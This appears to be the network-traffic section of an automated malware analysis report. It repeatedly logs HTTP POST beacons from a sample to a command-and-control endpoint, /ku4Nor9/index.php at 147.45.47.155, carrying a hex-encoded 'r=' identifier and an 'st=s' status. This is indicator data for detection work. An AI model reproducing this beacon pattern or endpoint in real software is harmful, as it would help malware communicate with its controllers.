Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
